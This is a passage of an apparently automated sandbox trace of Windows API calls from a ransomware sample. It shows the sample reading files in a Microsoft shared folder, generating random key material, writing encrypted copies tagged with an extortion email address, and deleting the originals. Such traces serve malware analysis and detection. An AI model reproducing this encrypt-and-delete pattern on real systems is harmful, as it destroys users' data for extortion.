Flags=0x0, Size=0x10) returned 0x3881060 [0119.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.296] GetLastError () returned 0x0 [0119.297] GetLastError () returned 0x0 [0119.298] GetCurrentThreadId () returned 0x9b0 [0119.298] GetLastError () returned 0x0 [0119.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.298] GetLastError () returned 0x0 [0119.298] GetLastError () returned 0x0 [0119.299] GetCurrentThreadId () returned 0x9b0 [0119.300] GetLastError () returned 0x0 [0119.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0119.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0119.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.300] GetLastError () returned 0x0 [0119.300] GetLastError () returned 0x0 [0119.300] GetLastError () returned 0x0 [0119.301] GetLastError () returned 0x0 [0119.301] GetCurrentThreadId () returned 0x9b0 [0119.301] GetLastError () returned 0x0 [0119.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0119.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0119.301] GetLastError () returned 0x0 [0119.302] GetLastError () returned 0x0 [0119.302] GetCurrentThreadId () returned 0x9b0 [0119.302] GetLastError () returned 0x0 [0119.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.303] GetCurrentThreadId () returned 0x9b0 [0119.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.303] GetLastError () returned 0x0 [0119.303] GetLastError () returned 0x0 [0119.303] GetCurrentThreadId () returned 0x9b0 [0119.303] GetLastError () returned 0x0 [0119.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0119.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.304] GetLastError () returned 0x0 [0119.304] GetLastError () returned 0x0 [0119.304] GetLastError () returned 0x0 [0119.304] GetLastError () returned 0x0 [0119.304] GetCurrentThreadId () returned 0x9b0 [0119.304] GetLastError () returned 0x0 [0119.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0119.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.305] GetLastError () returned 0x0 [0119.306] GetLastError () returned 0x0 [0119.306] GetCurrentThreadId () returned 0x9b0 [0119.306] GetLastError () returned 0x0 [0119.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.307] GetLastError () returned 0x0 [0119.307] GetLastError () returned 0x0 [0119.307] GetCurrentThreadId () returned 0x9b0 [0119.307] GetLastError () returned 0x0 [0119.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.307] GetCurrentThreadId () returned 0x9b0 [0119.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265328 [0119.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0119.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.308] GetLastError () returned 0x0 [0119.308] GetLastError () returned 0x0 [0119.308] GetLastError () returned 0x0 [0119.308] GetLastError () returned 0x0 [0119.308] GetCurrentThreadId () returned 0x9b0 [0119.308] GetLastError () returned 0x0 [0119.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0119.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.309] GetLastError () returned 0x0 [0119.310] GetLastError () returned 0x0 [0119.310] GetCurrentThreadId () returned 0x9b0 [0119.310] GetLastError () returned 0x0 [0119.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.310] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.310] GetLastError () returned 0x0 [0119.310] GetLastError () returned 0x0 [0119.310] GetCurrentThreadId () returned 0x9b0 [0119.310] GetLastError () returned 0x0 [0119.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.311] GetCurrentThreadId () returned 0x9b0 [0119.311] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0119.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265328 | out: hHeap=0x2ad0000) returned 1 [0119.311] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.311] GetLastError () returned 0x0 [0119.311] GetLastError () returned 0x0 [0119.311] GetLastError () returned 0x0 [0119.311] GetLastError () returned 0x0 [0119.311] GetCurrentThreadId () returned 0x9b0 [0119.311] GetLastError () returned 0x0 [0119.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0119.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0119.312] GetLastError () returned 0x0 [0119.313] GetLastError () returned 0x0 [0119.313] GetCurrentThreadId () returned 0x9b0 [0119.313] GetLastError () returned 0x0 [0119.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.313] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.313] GetLastError () returned 0x0 [0119.314] GetLastError () returned 0x0 [0119.314] GetCurrentThreadId () returned 0x9b0 [0119.314] GetLastError () returned 0x0 [0119.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0119.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.314] GetCurrentThreadId () returned 0x9b0 [0119.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.314] GetLastError () returned 0x0 [0119.315] GetLastError () returned 0x0 [0119.315] GetLastError () returned 0x0 [0119.315] GetLastError () returned 0x0 [0119.315] GetCurrentThreadId () returned 0x9b0 [0119.315] GetLastError () returned 0x0 [0119.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0119.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.315] GetLastError () returned 0x0 [0119.316] GetLastError () returned 0x0 [0119.316] GetCurrentThreadId () returned 0x9b0 [0119.316] GetLastError () returned 0x0 [0119.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.317] GetLastError () returned 0x0 [0119.317] GetLastError () returned 0x0 [0119.317] GetCurrentThreadId () returned 0x9b0 [0119.317] GetLastError () returned 0x0 [0119.317] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x1392) returned 0x35c5908 [0119.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.317] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x1395) returned 0x35c5908 [0119.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653f8 [0119.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.318] GetCurrentThreadId () returned 0x9b0 [0119.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1398) returned 0x35bc9f0 [0119.318] GetLastError () returned 0x0 [0119.318] GetLastError () returned 0x0 [0119.318] GetLastError () returned 0x0 [0119.318] GetLastError () returned 0x0 [0119.318] GetCurrentThreadId () returned 0x9b0 [0119.318] GetLastError () returned 0x0 [0119.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0119.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0119.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.319] GetLastError () returned 0x0 [0119.319] GetLastError () returned 0x0 [0119.319] GetCurrentThreadId () returned 0x9b0 [0119.319] GetLastError () returned 0x0 [0119.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bdd90 | out: hHeap=0x2ad0000) returned 1 [0119.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.320] GetLastError () returned 0x0 [0119.320] GetLastError () returned 0x0 [0119.320] GetCurrentThreadId () returned 0x9b0 [0119.320] GetLastError () returned 0x0 [0119.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.320] GetLastError () returned 0x0 [0119.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0119.321] CloseHandle (hObject=0x3ac) returned 1 [0119.321] GetLastError () returned 0x0 [0119.321] GetCurrentThreadId () returned 0x9b0 [0119.321] GetLastError () returned 0x0 [0119.321] GetLastError () returned 0x0 [0119.321] CloseHandle (hObject=0x39c) returned 1 [0119.321] GetLastError () returned 0x0 [0119.322] GetCurrentThreadId () returned 0x9b0 [0119.322] GetLastError () returned 0x0 [0119.322] GetLastError () returned 0x0 [0119.322] GetLastError () returned 0x0 [0119.322] GetLastError () returned 0x0 [0119.322] GetLastError () returned 0x0 [0119.322] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0 [0119.322] GetLastError () returned 0x5 [0119.322] GetCurrentThreadId () returned 0x9b0 [0119.322] GetLastError () returned 0x5 [0119.323] GetLastError () returned 0x5 [0119.323] GetLastError () returned 0x5 [0119.323] GetLastError () returned 0x5 [0119.323] LocalFree (hMem=0x1053a70) returned 0x0 [0119.323] GetCurrentThreadId () returned 0x9b0 [0119.323] GetLastError () returned 0x5 [0119.323] GetLastError () returned 0x5 [0119.323] GetLastError () returned 0x5 [0119.323] GetLastError () returned 0x5 [0119.323] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml", lpFilePart=0x9bada4*="Content.xml") returned 0x3e [0119.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0119.324] GetCurrentThreadId () returned 0x9b0 [0119.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0119.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0119.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0119.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0c0 [0119.324] GetLastError () returned 0x0 [0119.324] GetLastError () returned 0x0 [0119.324] GetLastError () returned 0x0 [0119.324] GetLastError () returned 0x0 [0119.324] GetCurrentThreadId () returned 0x9b0 [0119.325] GetLastError () returned 0x0 [0119.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0c0 | out: hHeap=0x2ad0000) returned 1 [0119.325] GetCurrentThreadId () returned 0x9b0 [0119.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0119.325] GetLastError () returned 0x0 [0119.325] GetLastError () returned 0x0 [0119.325] GetLastError () returned 0x0 [0119.325] GetLastError () returned 0x0 [0119.325] GetCurrentThreadId () returned 0x9b0 [0119.325] GetLastError () returned 0x0 [0119.325] GetLastError () returned 0x0 [0119.326] GetLastError () returned 0x0 [0119.326] GetLastError () returned 0x0 [0119.326] GetLastError () returned 0x0 [0119.326] GetCurrentThreadId () returned 0x9b0 [0119.326] GetLastError () returned 0x0 [0119.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0119.326] GetLastError () returned 0x0 [0119.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0119.326] GetLastError () returned 0x0 [0119.326] GetLastError () returned 0x0 [0119.327] GetLastError () returned 0x0 [0119.327] GetCurrentThreadId () returned 0x9b0 [0119.327] GetLastError () returned 0x0 [0119.327] GetCurrentThreadId () returned 0x9b0 [0119.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a9e8 [0119.327] GetLastError () returned 0x0 [0119.327] GetLastError () returned 0x0 [0119.327] GetLastError () returned 0x0 [0119.327] GetLastError () returned 0x0 [0119.327] GetCurrentThreadId () returned 0x9b0 [0119.327] GetLastError () returned 0x0 [0119.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0119.328] GetLastError () returned 0x0 [0119.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0119.328] GetLastError () returned 0x0 [0119.328] GetLastError () returned 0x0 [0119.328] GetLastError () returned 0x0 [0119.328] GetCurrentThreadId () returned 0x9b0 [0119.328] GetLastError () returned 0x0 [0119.328] GetLastError () returned 0x0 [0119.328] GetLastError () returned 0x0 [0119.328] GetLastError () returned 0x0 [0119.329] GetLastError () returned 0x0 [0119.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.329] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5)) returned 1 [0119.329] GetLastError () returned 0x0 [0119.329] GetCurrentThreadId () returned 0x9b0 [0119.329] GetLastError () returned 0x0 [0119.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0119.329] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e94 | out: pbBuffer=0x3668e94) returned 1 [0119.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0119.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0119.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0119.330] GetCurrentThreadId () returned 0x9b0 [0119.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0119.330] GetLastError () returned 0x0 [0119.330] GetLastError () returned 0x0 [0119.330] GetLastError () returned 0x0 [0119.330] GetLastError () returned 0x0 [0119.330] GetCurrentThreadId () returned 0x9b0 [0119.330] GetLastError () returned 0x0 [0119.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0119.331] GetCurrentThreadId () returned 0x9b0 [0119.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0119.331] GetLastError () returned 0x0 [0119.331] GetLastError () returned 0x0 [0119.331] GetLastError () returned 0x0 [0119.331] GetLastError () returned 0x0 [0119.331] GetCurrentThreadId () returned 0x9b0 [0119.331] GetLastError () returned 0x0 [0119.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0119.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32653c8 [0119.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0119.332] GetLastError () returned 0x0 [0119.332] GetLastError () returned 0x0 [0119.332] GetLastError () returned 0x0 [0119.332] GetLastError () returned 0x0 [0119.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653d8 [0119.332] GetLastError () returned 0x0 [0119.332] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0119.332] GetFileType (hFile=0x39c) returned 0x1 [0119.333] GetLastError () returned 0x0 [0119.333] GetCurrentThreadId () returned 0x9b0 [0119.333] GetLastError () returned 0x0 [0119.333] GetFileType (hFile=0x39c) returned 0x1 [0119.333] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.333] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.333] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.333] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.333] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.333] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.333] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.334] GetLastError () returned 0x0 [0119.334] GetCurrentThreadId () returned 0x9b0 [0119.334] GetLastError () returned 0x0 [0119.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0119.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0119.334] GetLastError () returned 0x0 [0119.334] GetLastError () returned 0x0 [0119.334] GetLastError () returned 0x0 [0119.334] GetLastError () returned 0x0 [0119.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0119.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265308 [0119.334] GetLastError () returned 0x0 [0119.335] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0119.335] GetFileType (hFile=0x3ac) returned 0x1 [0119.335] GetLastError () returned 0x0 [0119.335] GetCurrentThreadId () returned 0x9b0 [0119.335] GetLastError () returned 0x0 [0119.335] GetFileType (hFile=0x3ac) returned 0x1 [0119.335] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.336] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.336] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.336] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.336] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.336] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.336] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.336] GetLastError () returned 0x0 [0119.336] GetCurrentThreadId () returned 0x9b0 [0119.336] GetLastError () returned 0x0 [0119.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0119.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0119.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0119.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0119.337] GetLastError () returned 0x0 [0119.337] GetLastError () returned 0x0 [0119.337] GetCurrentThreadId () returned 0x9b0 [0119.337] GetLastError () returned 0x0 [0119.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0119.337] GetLastError () returned 0x0 [0119.337] GetLastError () returned 0x0 [0119.337] GetCurrentThreadId () returned 0x9b0 [0119.337] GetLastError () returned 0x0 [0119.337] GetLastError () returned 0x0 [0119.339] GetLastError () returned 0x0 [0119.340] GetCurrentThreadId () returned 0x9b0 [0119.340] GetLastError () returned 0x0 [0119.340] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x69ba) returned 0x35c5908 [0119.340] GetCurrentThreadId () returned 0x9b0 [0119.340] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x69c5) returned 0x35c5908 [0119.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265328 [0119.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0119.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x69c8) returned 0x35bc9f0 [0119.340] GetLastError () returned 0x0 [0119.340] GetLastError () returned 0x0 [0119.341] GetLastError () returned 0x0 [0119.341] GetLastError () returned 0x0 [0119.341] GetCurrentThreadId () returned 0x9b0 [0119.341] GetLastError () returned 0x0 [0119.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0119.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0119.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.341] GetLastError () returned 0x0 [0119.342] GetLastError () returned 0x0 [0119.342] GetCurrentThreadId () returned 0x9b0 [0119.343] GetLastError () returned 0x0 [0119.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cc2d8 | out: hHeap=0x2ad0000) returned 1 [0119.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.343] GetLastError () returned 0x0 [0119.343] GetLastError () returned 0x0 [0119.343] GetCurrentThreadId () returned 0x9b0 [0119.343] GetLastError () returned 0x0 [0119.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.343] GetCurrentThreadId () returned 0x9b0 [0119.343] GetLastError () returned 0x0 [0119.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0119.344] CloseHandle (hObject=0x3ac) returned 1 [0119.344] GetLastError () returned 0x0 [0119.344] GetCurrentThreadId () returned 0x9b0 [0119.344] GetLastError () returned 0x0 [0119.345] GetLastError () returned 0x0 [0119.345] CloseHandle (hObject=0x39c) returned 1 [0119.345] GetLastError () returned 0x0 [0119.345] GetCurrentThreadId () returned 0x9b0 [0119.345] GetLastError () returned 0x0 [0119.345] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0 [0119.345] GetCurrentThreadId () returned 0x9b0 [0119.346] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", lpFilePart=0x9bada4*="FlickAnimation.avi") returned 0x45 [0119.346] GetCurrentThreadId () returned 0x9b0 [0119.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0119.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0119.346] RtlAllocateHeap 